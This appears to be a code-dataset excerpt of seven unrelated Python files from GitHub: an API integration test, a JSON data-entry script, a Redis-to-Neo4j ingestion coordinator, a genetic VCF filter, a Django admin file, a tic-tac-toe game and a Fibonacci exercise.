+{"seq_id":"18894950456","text":"# -*- coding: utf-8 -*-\n\n\"\"\" Specific integration test\n\"\"\"\n\nfrom unittest import TestCase\nimport json\nimport os\n\nfrom jsonpointer import resolve_pointer\nimport requests\n\nfrom wordweaver.data import affix_data, pronoun_data, verb_data\nfrom wordweaver.resources.affix import AFFIX_OPTIONS\nfrom wordweaver.data import data_dir\nfrom wordweaver.log import logger\nfrom wordweaver import static\n\nclass ResourceIntegrationSpecificErrorTest(TestCase):\n    \"\"\"\n    This tests language specific malformed requests.  \n    \"\"\"\n    \n    def setUp(self):\n         # Swagger\n        self.timeout = 5\n        self.pre_path = os.path.join(data_dir, \"swagger\", \"swagger-pre.json\")\n        self.static = os.path.join(os.path.dirname(static.__file__), \"swagger.json\")\n        self.prefix = '/api/v1'\n        self.headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36'}\n        with open(self.pre_path, 'r', encoding='utf8') as f:\n            self.pre_data = json.load(f)\n        with open(self.static, 'r', encoding='utf8') as f:\n            self.generated_data = json.load(f)\n        \n        # example data\n        self.all_affix_tags = [x['tag'] for x in affix_data]\n        affix_options = AFFIX_OPTIONS['AFFIX_OPTIONS']\n        self.all_affopt_tags = [x['tag'] for x in affix_options]\n        self.all_pronoun_tags = [x['tag'] for x in pronoun_data]\n        self.first_pers_tag = [tag for tag in self.all_pronoun_tags if '1' in tag][0]\n        self.all_red_verb_tags = [x['tag'] for x in verb_data if 'red' == x['thematic_relation']]\n        self.all_blue_verb_tags = [x['tag'] for x in verb_data if 'blue' == x['thematic_relation']]\n        self.command_tag = \"command\"\n\n        # define pointers\n        self.servers = [s['url'] for s in resolve_pointer(self.generated_data, '/servers')]\n        self.route = '/conjugations'\n    \n    def test_wrong_theta_role(self):\n        '''\n        If agent combined with blue verb, or patient combined with red verb,\n        response should be a 400\n        '''\n        blue_params = {'verb': self.all_blue_verb_tags[0], 'aff-option': 'defpast',\n                       'agent': self.first_pers_tag}\n        red_params = {'verb': self.all_red_verb_tags[0], 'aff-option': 'defpast',\n                      'patient': self.first_pers_tag}\n        for host in self.servers:\n            try:\n                r_blue = requests.get(host + self.route, params=blue_params, headers=self.headers)\n                self.assertEqual(r_blue.status_code, 400)\n                logger.info(\"Request to \" + r_blue.url +  \" returned \" + str(r_blue.status_code))\n            except Exception as e:\n                logger.error(\"Request to \" + host + self.route +  f\" returned {e}\")\n            try:\n                r_red = requests.get(host + self.route, params=red_params, headers=self.headers)\n                self.assertEqual(r_red.status_code, 400)\n                logger.info(\"Request to \" + r_red.url +  \" returned \" + str(r_red.status_code))\n            except Exception as e:\n                logger.error(\"Request to \" + host + self.route +  f\" returned {e}\")\n                \n    \n    def test_wrong_person_with_command(self):\n        '''\n        If anything other than 2nd person is used with command,\n        response should be a 400 **this is unclear, and TBD. Currently returns nothing**\n        '''\n        params = {'verb': self.all_blue_verb_tags[0], 'aff-option': self.command_tag,\n                  'patient': self.first_pers_tag}\n        \n        for host in self.servers:\n            try:\n                r = requests.get(host + self.route, params=params, headers=self.headers)\n                self.assertEqual(r.status_code, 400)\n                logger.info(\"Request to \" + r.url + \" returned \" + str(r.status_code))\n            except Exception as e:\n                logger.warning(\"Request to \" + host + self.route + \" returned \" + str(e))\n","repo_name":"nrc-cnrc/wordweaver","sub_path":"wordweaver/tests/integration/test_specific_errors.py","file_name":"test_specific_errors.py","file_ext":"py","file_size_in_byte":3947,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"42690351512","text":"#fuck it python time\nimport json\n\ndef adddata(data,inputobj):\n\tdic={}\n\tdic['title']=inputobj['title']\n\tdic['img']=inputobj['img']\n\tdic['body']=inputobj['body']\n\tdic['people']=inputobj['people']\n\tdic['room']=inputobj['room']\n\tdic['pos']=len(data)\n\tdata.append(dic)\n\treturn data\n\nwith open('../data/data.json','r') as file:\n\tdatalis=[x for x in file]\n\tjsonstr=''.join(datalis)\n\tdata=json.loads(jsonstr)\n\tx='1'\n\twhile x:\n\t\twith open('input.json') as inputFile:\n\t\t\tinputlis=[x for x in inputFile]\n\t\t\tinputstr=''.join(inputlis)\n\t\t\tinputobj=json.loads(inputstr)\n\t\t\t# print(inputobj,data)\n\t\t\tdata=adddata(data,inputobj)\n\t\t\tprint(inputobj[\"title\"]+' group added')\n\t\t\t# if inputobj['title'] in data:\n\t\t\t# \tprint('that entry already exists, do you want to overwrite? (y/n)')\n\t\t\t# \tflag=input('> ')\n\t\t\t# \twhile flag and flag !='y' and flag !='n':\n\t\t\t# \t\tprint('invalid input')\n\t\t\t# \t\tflag = input('> ')\n\t\t\t# \tif flag=='y':\n\t\t\t# \t\tdata= adddata(data,inputobj)\n\t\t\t# else:\n\t\t\t# \tdata= adddata(data,inputobj)\n\t\tprint('leave input blank to exit, else check input again')\n\t\tx=input('> ')\n\tout=json.dumps(data)\n\t# print(out)\n\t# file.write(out)\nwith open('../data/data.json','w') as file:\n\tfile.write(out)","repo_name":"sammytone23/BradfieldRegenerationWebsite","sub_path":"data input/data_input.py","file_name":"data_input.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"8504949280","text":"import datetime\nfrom multiprocessing.pool import ThreadPool\n\nfrom giraffe.business_logic.abstract.data_to_graph_translation_provider import translation_request\nfrom giraffe.business_logic.env_provider import EnvProvider\nfrom giraffe.business_logic.ingestion_manger import IngestionManager\nfrom giraffe.data_access.redis_db import RedisDB\nfrom giraffe.exceptions.giraffe_exception import GiraffeException\nfrom giraffe.helpers import log_helper\nfrom giraffe.helpers.EventDispatcher import EventDispatcher\n\nfrom giraffe.helpers.multi_helper import MultiHelper\nfrom giraffe.helpers.structured_logging_fields import Field\nfrom giraffe.helpers.utilities import validate_is_file\nfrom giraffe.monitoring.giraffe_event import GiraffeEvent\nfrom giraffe.monitoring.giraffe_event import GiraffeEventType\nfrom giraffe.monitoring.progress_monitor import ProgressMonitor\n\n\nclass Coordinator:\n    def __init__(self,\n                 env: EnvProvider,\n                 progress_monitor: ProgressMonitor,\n                 event_dispatcher: EventDispatcher):\n        self.event_dispatcher = event_dispatcher\n        self.progress_monitor = progress_monitor\n        self.is_ready = False\n        self.log = log_helper.get_logger(logger_name=__name__)\n        # noinspection PyBroadException\n        try:\n            self.redis_db = RedisDB(event_dispatcher=self.event_dispatcher, env=env)\n            self.data_and_model_provider = env.data_and_model_provider\n            self.thread_pool = ThreadPool()\n            self.data_to_graph_translator = env.data_to_graph_entities_provider\n            self.multi_helper = MultiHelper(config=env.config)\n            self.im = IngestionManager(\n                    env=env,\n                    multi_helper=self.multi_helper,\n                    event_dispatcher=self.event_dispatcher\n            )\n            self.is_ready = True\n        except Exception as the_exception:\n            self.log.error(the_exception, exc_info=True)\n            self.is_ready = False\n\n    def process_request(self, request: dict):\n\n        now = datetime.datetime.now()\n        string_timestamp = f'{now.year}_{now.month}_{now.day}_{now.hour}_{now.minute}_{now.second}'\n\n        request_type = request['request_type']\n        request_id = f\"{request['request_id']}_{string_timestamp}\"\n\n        self.log.info(f'Progress-Report-ID: {request_id}')\n\n        # Progress-0: Incoming request.\n        self.event_dispatcher.dispatch_event(\n                event=GiraffeEvent(\n                        request_id=request_id,\n                        event_type=GiraffeEventType.STARTED_PROCESSING_REQUEST,\n                        message=f'Starting processing request id: {request_id}',\n                        arguments={'request_type': request_type,\n                                   'request_content': str(request)\n                                   }\n                )\n        )\n\n        if request_type == 'white_list':\n            file_path = request['file_path']\n            source_descriptions = file_path\n            validate_is_file(file_path=file_path)\n            with open(file_path, 'r') as white_list:\n                content = white_list.readlines()\n                self.log.admin({Field.white_list_content: content})\n\n        else:\n            error_message = f'Currently, only {request_type} request_type supported.'\n            not_implemented = NotImplementedError(f'Currently, only {request_type} request_type supported.')\n            self.event_dispatcher.dispatch_event(\n                    event=GiraffeEvent(\n                            request_id=request_id,\n                            event_type=GiraffeEventType.ERROR,\n                            message=error_message,\n                            arguments={'message': error_message,\n                                       'exception': not_implemented\n                                       }\n                    )\n            )\n            raise not_implemented\n\n        # Progress-1: Fetching pairs of data/model for requested data-sources.\n        self.event_dispatcher.dispatch_event(\n                event=GiraffeEvent(\n                        request_id=request_id,\n                        event_type=GiraffeEventType.FETCHING_DATA_AND_MODELS,\n                        message=f'Fetching pairs of data/model for requested data-sources [{request_id}]',\n                        arguments={\n                                'request_id': request_id,\n                                'source_description': source_descriptions\n                        },\n                )\n        )\n\n        try:\n            data_and_models = self.data_and_model_provider.get_data_and_model_for(source_descriptions=source_descriptions)\n        except GiraffeException as not_implemented:\n            message = f'Failed loading data and models for request: {request_id}'\n            self.event_dispatcher.dispatch_event(\n                    event=GiraffeEvent(\n                            request_id=request_id,\n                            event_type=GiraffeEventType.ERROR,\n                            message=message,\n                            arguments={\n                                    'request_id': request_id,\n                                    'message': message,\n                                    'exception': not_implemented\n                            },\n                    )\n            )\n            raise not_implemented  # Rethrowing\n\n        # Progress-2: Finished fetching pairs of data/model for requested data-sources.\n        self.event_dispatcher.dispatch_event(\n                event=GiraffeEvent(\n                        request_id=request_id,\n                        event_type=GiraffeEventType.FINISHED_FETCHING_DATA_AND_MODELS,\n                        message=f'Finished fetching pairs of data/model for requested data-sources [{request_id}]',\n                        arguments={\n                                'request_id': request_id,\n                                'data_models': data_and_models\n                        }\n                )\n        )\n\n        all_futures = []\n        for data_and_model in data_and_models:\n            # Progress-3: Writing all graph-elements into redis (concurrently).\n            self.event_dispatcher.dispatch_event(\n                    event=GiraffeEvent(\n                            request_id=request_id,\n                            event_type=GiraffeEventType.WRITING_GRAPH_ELEMENTS_INTO_REDIS,\n                            message=f'Writing graph-element into redis (concurrently) [{data_and_model.source_name}]',\n                            arguments={\n                                    'request_id': request_id,\n                                    'source_name': data_and_model.source_name\n                            }\n                    )\n            )\n\n            translation_id = f'{request_id}_{data_and_model.source_name}'\n            translated_graph_entities = self.data_to_graph_translator.translate(\n                    request=translation_request({'src_df': data_and_model.data,\n                                                 'model': data_and_model.graph_model,\n                                                 'streaming_id': translation_id\n                                                 })\n            )\n\n            future = self.multi_helper.run_in_separate_thread(\n                    function=self.redis_db.write_translator_result_to_redis,\n                    entry_dict=translated_graph_entities,\n                    source_name=data_and_model.source_name,\n                    request_id=request_id,\n            )\n            all_futures.append(future)\n\n        parallel_results = MultiHelper.wait_on_futures(iterable=all_futures)\n\n        # Progress-4: Graph elements are ready (in redis) to be pushed into neo4j.\n        self.event_dispatcher.dispatch_event(\n                event=GiraffeEvent(\n                        request_id=request_id,\n                        event_type=GiraffeEventType.REDIS_IS_READY_FOR_CONSUMPTION,\n                        message=f'Graph elements are ready (in redis) to be pushed into neo4j [{request_id}]',\n                        arguments={\n                                'request_id': request_id,\n                                'parallel_results': parallel_results\n                        }\n                )\n        )\n\n        for not_implemented in parallel_results.exceptions:\n            self.event_dispatcher.dispatch_event(\n                    event=GiraffeEvent(\n                            request_id=request_id,\n                            event_type=GiraffeEventType.ERROR,\n                            message='Failure on writing to redis.',\n                            arguments={\n                                    'request_id': request_id,\n                                    'message': 'Failure on writing to redis.',\n                                    'exception': not_implemented\n                            }\n                    )\n            )\n\n        if not parallel_results.all_ok:\n            raise parallel_results.exceptions[0]\n\n        for details in parallel_results.results:\n            source_name = details['source_name']\n            processed_keys = details['processed_keys']\n            request_id: str = details['request_id']\n\n            self.event_dispatcher.dispatch_event(\n                    event=GiraffeEvent(\n                            request_id=request_id,\n                            event_type=GiraffeEventType.WRITING_FROM_REDIS_TO_NEO,\n                            message=f'Graph elements are ready (in redis) to be pushed into neo4j [{request_id}]',\n                            arguments={\n                                    'request_id': request_id,\n                                    'source_name': source_name,\n                                    'processed_keys': processed_keys,\n                                    'details': details,\n                                    'redis_db': self.redis_db\n                            }\n                    )\n            )\n\n            translation_id = f'{request_id}_{source_name}'\n            self.im.process_redis_content(request_id=request_id,\n                                          translation_id=translation_id)\n\n            self.event_dispatcher.dispatch_event(\n                    event=GiraffeEvent(\n                            request_id=request_id,\n                            event_type=GiraffeEventType.DELETING_REDIS_KEYS,\n                            message=f'Deleting done-with keys from redis [{processed_keys}]',\n                            arguments={\n                                    'request_id': request_id,\n                                    'keys': processed_keys\n                            }\n                    )\n            )\n            self.redis_db.delete_keys(keys=processed_keys)\n            self.log.info(f'{source_name} is ready.')\n            self.log.admin(\n                    {\n                            Field.request_id: request_id,\n                            Field.ready: source_name\n                    }\n            )\n\n        # Progress-5: Finished writing all redis content into neo4j.\n        self.event_dispatcher.dispatch_event(\n                event=GiraffeEvent(\n                        request_id=request_id,\n                        event_type=GiraffeEventType.DONE_PROCESSING_REQUEST,\n                        message=f'Done processing request: {request_id}',\n                        arguments={\n                                'request_id': request_id\n                        }\n                )\n        )\n        return request_id\n\n    def processing_success_callback(self, finished_request_id: str):\n        self.log.info(f'Finished processing request: {finished_request_id}')\n        self.log.admin({Field.finished_processing_request: finished_request_id})\n        self.progress_monitor.dump_to_hard_drive_and_fluent()\n\n    def processing_error_callback(self, exception: BaseException):\n        import traceback\n        self.log.error(f'Unhandled exception while handling client request: {exception}')\n        self.log.error(''.join(traceback.format_tb(exception.__traceback__)))\n        self.progress_monitor.dump_to_hard_drive_and_fluent()\n","repo_name":"borismilner/giraffe","sub_path":"src/giraffe/business_logic/coordinator.py","file_name":"coordinator.py","file_ext":"py","file_size_in_byte":12205,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"20898747594","text":"#!/usr/bin/python\n\n\"\"\"\n    gender: True -> Male\n            False -> Female\n\n    is_F: Father is affected\n    is_M: Mother is affected\n\n    PAR region: p1 ~ p2, p3 ~ p4\n        p1: 60001\n        p2: 2699520\n        p3: 154931044\n        p4: 155270560\n\"\"\"\n\nimport os, sys, getopt\n\ndef main(argv):\n    usage = \"usage: python Autosomal-recessive.py -v [vcf file] -p [ped file]\"\n\n    try:\n        opts, args = getopt.getopt(argv,\"hv:p:\",[\"vcf=\",\"ped=\"])\n    except getopt.GetoptError:\n        print (usage)\n        sys.exit(2)\n\n    for opt, arg in opts:\n        if opt == '-h':\n            print (usage)\n            sys.exit()\n        elif opt in (\"-v\", \"--vcf\"):\n            vcffile = arg\n        elif opt in (\"-p\", \"--ped\"):\n            pedfile = arg\n\n    if len(opts) != 2:\n        print (\"try 'python Autosomal-recessive.py -h' for help\")\n        sys.exit(2)\n\n\n    # get all parents from PED\n    f = open(pedfile, 'r')\n    parents = []\n    for line in f:\n        if line.startswith('#'):\n            continue\n\n        tmp = line.strip().split('\\t')\n        if tmp[2] != '0':\n            if tmp[2] not in parents:\n                parents.append(tmp[2])\n        if tmp[3] != '0':\n            if tmp[3] not in parents:\n                parents.append(tmp[3])\n    # Re-read file\n    f.seek(0)\n    # get first affected sample\n    gender = False\n    for line in f:\n        if line.startswith('#'):\n            continue\n\n        tmp = line.strip().split('\\t')\n        if tmp[1] not in parents and tmp[5] == '2':\n            c_ = tmp[1]\n            f_ = tmp[2]\n            m_ = tmp[3]\n            if tmp[4] == '1':\n                gender = True\n            break # only take one affected sample\n    # Re-read file\n    f.seek(0)\n    # check if father or mother affected\n    is_F = False\n    is_M = False\n    for line in f:\n        if line.startswith('#'):\n            continue\n\n        tmp = line.strip().split('\\t')\n        if tmp[1] == f_:\n            if tmp[5] == '2':\n                is_F = True\n        elif tmp[1] == m_:\n            if tmp[5] == '2':\n                is_M = True\n    f.close()\n\n    # make vlist from VCF\n    f2 = open(vcffile, 'r')\n\n    tmp = []\n    for line in f2:\n        if '#CHROM' in line:\n            cfm = line.strip().split('\\t')\n            c_index = cfm.index(c_)\n            f_index = cfm.index(f_)\n            m_index = cfm.index(m_)\n        elif line.startswith('#'):\n            pass\n        else:\n            tmp.append(line)\n    f2.close()\n\n    vlist = [x.strip().split('\\t') for x in tmp]\n\n\n    # Filtering\n    print ('#chrom\\tpos\\tref\\talt\\tis_AR\\t'+ c_ + '\\t' + f_ + '\\t' + m_)\n\n    def is_HET(genotype):\n        tmp = genotype.split('/')\n        if len(tmp) != 2:\n            return False\n\n        g1 = tmp[0]\n        g2 = tmp[1]\n\n        if (g1 == '0' and g2 != '0') or (g2 == '0' and g1 != '0'):\n            return True\n        else:\n            return False\n\n    def is_ALT(genotype):\n        tmp = genotype.split('/')\n        if len(tmp) != 2:\n            if tmp[0] != '0':\n                return True\n            else:\n                return False\n\n        g1 = tmp[0]\n        g2 = tmp[1]\n\n        if (g1 != '0' and g2 != '0'):\n            return True\n        else:\n            return False\n\n\n    p1 = 60001\n    p2 = 2699520\n    p3 = 154931044\n    p4 = 155270560\n    for i in range(len(vlist)):\n        tmp = '\\t'.join(vlist[i])\n        # consider '.' as '0'\n        tmp = tmp.replace('.', '0').split('\\t')\n\n        child = tmp[c_index].split(':')[0]\n        father = tmp[f_index].split(':')[0]\n        mother = tmp[m_index].split(':')[0]\n\n        # if genotype in VCF is only one '.' or '0', consider as '0/0', excluding non PAR region\n        if child == '0':\n            child = '0/0'\n            tmp[c_index] = '0/0'\n        if mother == '0':\n            mother = '0/0'\n            tmp[m_index] = '0/0'\n\n        c1 = tmp[c_index][0]\n        c2 = tmp[c_index][2]\n\n        nonPAR = vlist[i][0] == 'X' and (int(vlist[i][1]) < p1 or (p2 <= int(vlist[i][1]) <= p3) or int(vlist[i][1] > p4))\n\n        true = vlist[i][0] + '\\t' + vlist[i][1] + '\\t' + vlist[i][3] + '\\t' + vlist[i][4] + '\\t' + '1' + '\\t' + vlist[i][c_index].split(':')[0] + '\\t' + vlist[i][f_index].split(':')[0] + '\\t' + vlist[i][m_index].split(':')[0]\n        false = vlist[i][0] + '\\t' + vlist[i][1] + '\\t' + vlist[i][3] + '\\t' + vlist[i][4] + '\\t' + '0' + '\\t' + vlist[i][c_index].split(':')[0] + '\\t' + vlist[i][f_index].split(':')[0] + '\\t' + vlist[i][m_index].split(':')[0]\n\n        # pass if chrom = Y or MT\n        if vlist[i][0] == 'Y' or vlist[i][0] == 'MT':\n            print (false)\n            continue\n\n        # only include non PAR region when mother is unaffected and child is daughter\n        if is_F and not(is_M) and not(gender):\n            # if not in non PAR region, father should have 2 genotypes\n            if not(nonPAR):\n                if father == '0':\n                    father = '0/0'\n        else:\n            if nonPAR:\n                print (false)\n                continue\n\n            # only PAR region, father should have 2 genotypes\n            if father == '0':\n                father = '0/0'\n\n        # 1. both parents are unaffected\n        if not(is_F) and not(is_M):\n            if is_ALT(child) and (c1 in father and c2 in mother or c1 in mother and c2 in father) and is_HET(father) and is_HET(mother):\n                print (true)\n            else:\n                print (false)\n\n        # 2. Father is affected, mother is unaffected and child is son\n        elif is_F and not(is_M) and gender:\n            if is_ALT(child) and (c1 in father and c2 in mother or c1 in mother and c2 in father) and is_ALT(father) and is_HET(mother):\n                print (true)\n            else:\n                print (false)\n\n        # 3. Father is unaffected, mother is affected and child is son\n        elif not(is_F) and is_M and gender:\n            if is_ALT(child) and (c1 in father and c2 in mother or c1 in mother and c2 in father) and is_HET(father) and is_ALT(mother):\n                print (true)\n            else:\n                print (false)\n\n        # 4. Father is affected, mother is unaffected and child is daughter\n        elif is_F and not(is_M) and not(gender):\n            if is_ALT(child) and (c1 in father and c2 in mother or c1 in mother and c2 in father) and is_ALT(father) and is_HET(mother):\n                print (true)\n            else:\n                print (false)\n\n        # 5. Father is unaffected, mother is affected and child is daughter\n        elif not(is_F) and is_M and not(gender):\n            if is_ALT(child) and (c1 in father and c2 in mother or c1 in mother and c2 in father) and is_HET(father) and is_ALT(mother):\n                print (true)\n            else:\n                print (false)\n\n\nif __name__ == \"__main__\":\n    main(sys.argv[1:])\n","repo_name":"csardas/VarSelect","sub_path":"workflows/autosomal-recessive/Autosomal-recessive.py","file_name":"Autosomal-recessive.py","file_ext":"py","file_size_in_byte":6819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"11464581347","text":"from django.contrib import admin\r\n\r\n# Register your models here.\r\nfrom .models import Tariffs,Tickets,Rates\r\n\r\n\r\n@admin.register(Tickets)\r\nclass TicketAdmin(admin.ModelAdmin):\r\n    list_display = ('pk','ticket_type','per_hour_money')\r\n\r\n@admin.register(Tariffs)\r\nclass TariffsAdmin(admin.ModelAdmin):\r\n    list_display = ('pk','user_name','car_number','start_time','end_time','ticket_type','parking_time','parking_money',\r\n    'per_hour_money','site_address','postion_no')\r\n\r\n@admin.register(Rates)\r\nclass RatesAdmin(admin.ModelAdmin):\r\n    list_display=('pk','pay_per_time','site_add',)\r\n\r\n#     site_address= models.CharField(u'Site Address',max_length=20,default='Not Parked')\r\n    # postion_no= models.CharField(u'Parking Site Number',max_length=20,default='Not Parked')\r\n","repo_name":"Sohamraje137/Parking-lot-Management","sub_path":"tariff/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"24304537674","text":"import time\r\nimport random\r\nimport itertools\r\nwinset=[[0,1,2],[3,4,5],[6,7,8],[0,3,6],[1,4,7],[2,5,8],[0,4,8],[2,4,6]]\r\nuserlist=[]\r\nsystemlist=[]\r\ncorners=[0,2,6,8]\r\ncorners1=corners[:]\r\ncenter=4\r\nsides=[1,3,5,7]\r\nsides1=sides[:]\r\nwinsubset=[]\r\nwin=0\r\nsumofwinsetlists=[]*24\r\nboard=[int(i) for i in range(0,9)]\r\nremaining=board[:]\r\nplacetomark=0\r\nplacetomark1=0\r\nfound=0\r\nlst=[]\r\n'''function to start playing game'''\r\ndef start_game():\r\n    winset=[[0,1,2],[3,4,5],[6,7,8],[0,3,6],[1,4,7],[2,5,8],[0,4,8],[2,4,6]]\r\n    board=[0,1,2,3,4,5,6,7,8]\r\n    c1=0\r\n    global win\r\n    for j in winset:\r\n        for i in itertools.combinations(j,2):\r\n            winsubset.append(i)\r\n    for i in winset:\r\n        sumofwinset=sum(i)\r\n        for j in range(3):\r\n            sumofwinsetlists.insert(c1,sumofwinset)\r\n            c1+=1\r\n    while(True):\r\n        choice=input(\"X or O : \")\r\n        if choice==\"X\":\r\n            time.sleep(1)\r\n            display_board(board)\r\n            while(isgamewin!=True):\r\n                play_user('X')\r\n                time.sleep(1)\r\n                display_board(board)\r\n                if isgamewinuser():\r\n                    print(\"USER WINS\")\r\n                    win=1\r\n                    break\r\n                play_system('O')\r\n                time.sleep(1)\r\n                display_board(board)\r\n                if isgamewin()==True:\r\n                    time.sleep(1)\r\n                    print(\"SYSTEM WINS\")\r\n                    win=1\r\n                    break\r\n                if len(remaining)==0:\r\n                    print(\"GAME IS OVER\")\r\n                    win=1\r\n                    break\r\n        elif choice==\"O\":\r\n            time.sleep(1)\r\n            display_board(board)\r\n            while(isgamewin!=True):\r\n                play_user('O')\r\n                if isgamewinuser():\r\n                    print(\"USER WINS\")\r\n                    win=1\r\n                    break\r\n                play_system('X')\r\n                time.sleep(1)\r\n                display_board(board)\r\n                if isgamewin():\r\n                    time.sleep(1)\r\n                    print(\"SYSTEM WINS\")\r\n                    win=1\r\n                    break\r\n                if len(remaining)==0:\r\n                    print(\"GAME IS OVER\")\r\n                    win=1\r\n                    break\r\n        if win==1:\r\n            break\r\n'''function to display board'''\r\ndef display_board(lst):\r\n    c=0\r\n    for i in range(3):\r\n        for j in range(3):\r\n            print(\"-\",board[c],\"-\",end='|')\r\n            c+=1\r\n        print(\"\\n\")\r\n'''function for user playing game'''\r\ndef play_user(x):\r\n    global userlist\r\n    global board\r\n    global systemlist\r\n    global corners1\r\n    global sides1\r\n    place=int(input(\"enter a position for placing: \"))\r\n    if place not in systemlist:\r\n        if place not in userlist:\r\n            userlist.append(place)\r\n            userlist=sorted(userlist)\r\n            remaining.remove(place)\r\n            board[place]=x\r\n            if place in corners1:\r\n                corners1.remove(place)\r\n            if place in sides1:\r\n                sides1.remove(place)\r\n        else:\r\n            print(\"already used\")\r\n            play_user(x)\r\n    else:\r\n        print(\"already used\")\r\n        play_user(x)\r\n    for i in itertools.combinations(userlist,3):\r\n        if i in winset:\r\n            print(\"user won game\")\r\n            win=1\r\n            break\r\n'''function for system playing game'''\r\ndef play_system(y):\r\n    global userlist\r\n    global systemlist\r\n    global board\r\n    global win\r\n    global remaining\r\n    if is_system_wins():\r\n        c=is_system_wins()\r\n        if c in remaining:\r\n            if c in corners1:\r\n                corners1.remove(c)\r\n                systemlist.append(c)\r\n                systemlist=sorted(systemlist)\r\n                remaining.remove(c)\r\n                board[c]=y\r\n                print(\"system selected pos: \",c)\r\n                if isgamewin():\r\n                    print(\"system is winner\")\r\n                    win=1\r\n            if c in sides1:\r\n                sides1.remove(c)\r\n                systemlist.append(c)\r\n                systemlist=sorted(systemlist)\r\n                remaining.remove(c)\r\n                board[c]=y\r\n                print(\"system selected pos: \",c)\r\n                if isgamewin():\r\n                    print(\"system is winner\")\r\n                    win=1\r\n        else:\r\n            pass\r\n    elif is_system_lose() :\r\n        c2=is_system_lose()\r\n        systemlist.append(c2)\r\n        systemlist=sorted(systemlist)\r\n        remaining.remove(c2)\r\n        board[c2]=y\r\n        print(\"system selected pos: \",c2)\r\n    elif is_center_available():\r\n        systemlist.append(center)\r\n        systemlist=sorted(systemlist)\r\n        remaining.remove(center)\r\n        board[center]=y\r\n        print(\"system selected pos: \",center)\r\n    elif (len(corners1)>0):\r\n        for i in corners:\r\n            if i in remaining:\r\n                corners1.remove(i)\r\n                systemlist.append(i)\r\n                systemlist=sorted(systemlist)\r\n                remaining.remove(i)\r\n                board[i]=y\r\n                print(\"system seleted pos:\",i)\r\n                break\r\n    else:\r\n        for i in sides1:\r\n            if i in remaining:\r\n                systemlist.append(i)\r\n                sides1.remove(i)\r\n                systemlist=sorted(systemlist)\r\n                remaining.remove(i)\r\n                board[i]=y\r\n                print(\"system selected pos: \",i)\r\n                break\r\n        \r\n'''function to check whether system has a chance to win'''\r\ndef is_system_wins():\r\n    '''global winset\r\n    global winsubset\r\n    global sumofwinsetlists\r\n    global placetomark'''\r\n    for i in itertools.combinations(systemlist,2):\r\n        if i in winsubset:\r\n            indexofi=winsubset.index(i)\r\n            placetomark=sumofwinsetlists[indexofi]-sum(i)\r\n            if placetomark in remaining:\r\n                return placetomark\r\n            else:\r\n                continue\r\n        else:\r\n            return False\r\n'''function to check whether system loses'''\r\ndef is_system_lose():\r\n    global winset\r\n    global winsubset\r\n    global sumofwinsetlists\r\n    global placetomark1\r\n    global lst\r\n    global found\r\n    for i in itertools.combinations(userlist,2):\r\n        if i in winsubset:\r\n            indexofi=winsubset.index(i)\r\n            placetomark1=sumofwinsetlists[indexofi]-sum(i)\r\n            if placetomark1 in remaining:\r\n                found=1\r\n                return placetomark1\r\n            else:\r\n                pass\r\n        else:\r\n            found=0\r\n    if found==0:\r\n        return False\r\n'''function to check whether center is available'''\r\ndef is_center_available():\r\n    if center in remaining:\r\n        return True\r\n    else:\r\n        return False\r\n\r\n'''function to check whether corner is available'''\r\ndef is_corner_available():\r\n    for i in corners:\r\n        if i in remaining:\r\n            return i\r\n'''function to check whether game won by system'''\r\ndef isgamewin():\r\n    for i in itertools.combinations(systemlist,3):\r\n        j=list(i)\r\n        if j in winset:\r\n            return True\r\n'''function to check whether game won by user'''\r\ndef isgamewinuser():\r\n    for i in itertools.combinations(userlist,3):\r\n        j=list(i)\r\n        if j in winset:\r\n            return True\r\nstart_game()\r\n","repo_name":"pavan55523/TIC-TAC-TOE-AI","sub_path":"tic-tac-toe-ai.py","file_name":"tic-tac-toe-ai.py","file_ext":"py","file_size_in_byte":7411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"15320142118","text":"# Uses python3\nimport sys\n\ndef fibonacci_partial_sum_naive(from_, to):\n    _sum = 0\n\n    current = 0\n    _next  = 1\n\n    for i in range(to + 1):\n        if i >= from_:\n            _sum += current\n\n        current, _next = _next, current + _next\n\n    return _sum % 10\n\ndef last_digit_of_fibonacci_sum(n):\n    fibonacci_arr = []\n    fibonacci_last_arr = []\n    for i in range(61):\n        if i <= 1:\n            fibonacci_arr.append(i)\n            fibonacci_last_arr.append(i)\n        else:\n            fibonacci_i = fibonacci_arr[i - 1] + fibonacci_arr[i - 2]\n            fibonacci_arr.append(fibonacci_i)\n            fibonacci_sum = sum(fibonacci_arr)\n            fibonacci_last_arr.append(fibonacci_sum%10)\n    n_i = n%60\n    last_digit=fibonacci_last_arr[n_i]\n    return last_digit\n    \n    \n    \ndef fibonacci_partial_sum(from_, to): \n    result = last_digit_of_fibonacci_sum(to)-last_digit_of_fibonacci_sum(from_-1)\n    return result%10\n    \n              \n            \nif __name__ == '__main__':\n    from_, to = map(int, input().split())\n    print(fibonacci_partial_sum(from_, to))\n","repo_name":"shuhanmomo/Algorithm-and-Data-Structure","sub_path":"Basics/fibonacci_partial_sum.py","file_name":"fibonacci_partial_sum.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
